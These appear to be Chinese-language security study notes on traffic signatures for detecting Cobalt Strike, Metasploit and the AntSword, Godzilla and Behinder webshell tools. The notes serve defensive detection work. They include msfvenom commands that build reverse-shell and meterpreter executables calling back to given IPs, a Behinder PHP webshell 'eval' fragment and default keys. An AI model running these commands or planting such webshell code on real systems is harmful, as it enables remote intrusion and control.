(一)Cobalt Strike流量特征分析
1.HTTP特征
源码特征:
在流量中,通过http协议的url路径,在checksum8解密算法计算后,32位的后门得到的结果是92,64位的后门得到的结果是93,该特征符合未魔改Cobalt Strike的流量特征。
public class EchoTest {public static long checksum8(String text) {if (text.length() < 4) {return 0L;}text = text.replace("/", "");long sum = 0L;for (int x = 0; x < text.length(); x++) {sum += text.charAt(x);}return sum % 256L;}public static void main(String[] args) throws Exception {System.out.println(checksum8("flJA"));}
}
流量特征:
固定的user-agent头:老版本的cobalt strike中user-agent头是固定不变的,可以作为一个特征,新版本的cobalt strike中的user-agent头是会每次都变化的。
例如,在cobalt strike4.8中两个不同的cobalt strike数据包的user-agent头是不同的。
特殊的请求特征:
在使用cobalt strike下达指令时,会出现post请求/sumbit.php?id=xxx的特征,该特征可以判断cobalt strike。
魔改后的cobalt strike遗留特征:
即使cobalt strike进行了证书文件的魔改,可以消除数据包的部分特征,但仍有部分特征没有修改,例如该图中是修改了cobalt strike证书文件的数据包情况,但是遗留了GET /cx和POST /q.cgi这两个特征。
工具:https://blog.didierstevens.com/didier-stevens-suite/
2.HTTPS特征
证书特征:
如果没有修改cobalt strike的证书或者自己手动加载自定义证书,默认的cobalt strike证书可以直接判断出该工具是cobalt strike。
JA3特征:
在数据包的client hello中,数据包有JA3和操作系统有关,每个操作系统都有固定的值,例如我使用的操作系统为windows11
JA3S特征:
在数据包的server hello中,数据包有JA3s和操作系统有关,每个操作系统都有固定的值,例如我使用的操作系统为windows11
(二)MSF的流量特征分析
1.TCP特征
msfvenom -p windows/shell/reverse_tcp lhost=116.62.152.86 lport=1234 -f exe -o test1.exe
利用明文传输(查看流量包,追踪流选择tcp),都含有MZ头和DOS异常
2.HTTP特征
msfvenom -p windows/meterpreter/reverse_http lhost=10.236.32.154 lport=4445 -f exe -o test.exe
有MZ头和DOS异常(因为都是meterpreter类型)、但是多了请求包和返回包
32位:
请求包:
UA:Mozilla/5.0,
Connection: Keep-Alive
Cache-Control: no-cache
返回包
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: Keep-Alive
Server: Apache
Content-Length: 176732
64位:
请求包:
GET /Host:Cache-Control:no-cache
返回包:
HITP/1.1 200 OK
Content-Type:application/octet-stream
Connection:close
Server: Apache
Content-Length:201820
3.HTTPS特征
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.236.0.30 lport=4445 -f exe -o test.exe
https的特征是流量中会含有Client Hello和Server Holle这四个包
Client包里面有JA值,Server包里面有JAS值
(三)蚁剑的流量特征
1.User-Agent
请求中的User-Agent值是:antSword/*;也有可能是:Mozilla/5.0 (Windows NT ) AppleWebKit/ (KHTML, like Gecko) Chrome/* Safari/
2.关键字
请求中可以检测到的关键字:“eval””eVAL”
请求体存在@ini_set(“display_errors”, “0”);@set_time_limit(0);(开头可能是菜刀或者是蚁剑)
(四)哥斯拉的流量特征
1.强特征Cookie:
cookie字段,最后一个Cookie的值出现;(尾值出现分号)
2.请求头Accept:
请求中的Accept头是:
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
3.payload特征
jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马。
4.Connection响应
哥斯拉会响应三次,还有一个地方需要注意的就是webshell连接,所以一般会设置长时间连接,所以connection这里会是keep-alive
5.响应头中的Cache-Control头
响应头中的Cache-Control头是:Cache-Control: no-store, no-cache, must-revalidate
6.响应体的数据
响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
(五)冰蝎的流量特征
1.User-agent字段
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/5.0 (Windows; U; Windows NT 6.1; en\-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
2.Content-type:
Content-type:Application/x-www-form-urlencoded
3.Connection字段:
Connection: Keep-Alive(冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)
4.Accept字段
请求头中存在Accept: application/json, text/javascript, /; q=0.01
也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, /; q=.2
Content-Type: application/octet-stream ******q=0.8
5.端口
冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。
6.PHP webshell 中存在固定代码
$post\=Decrypt(file\_get\_contents(“php://input”));
eval($post);
7.请求头与响应包
有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同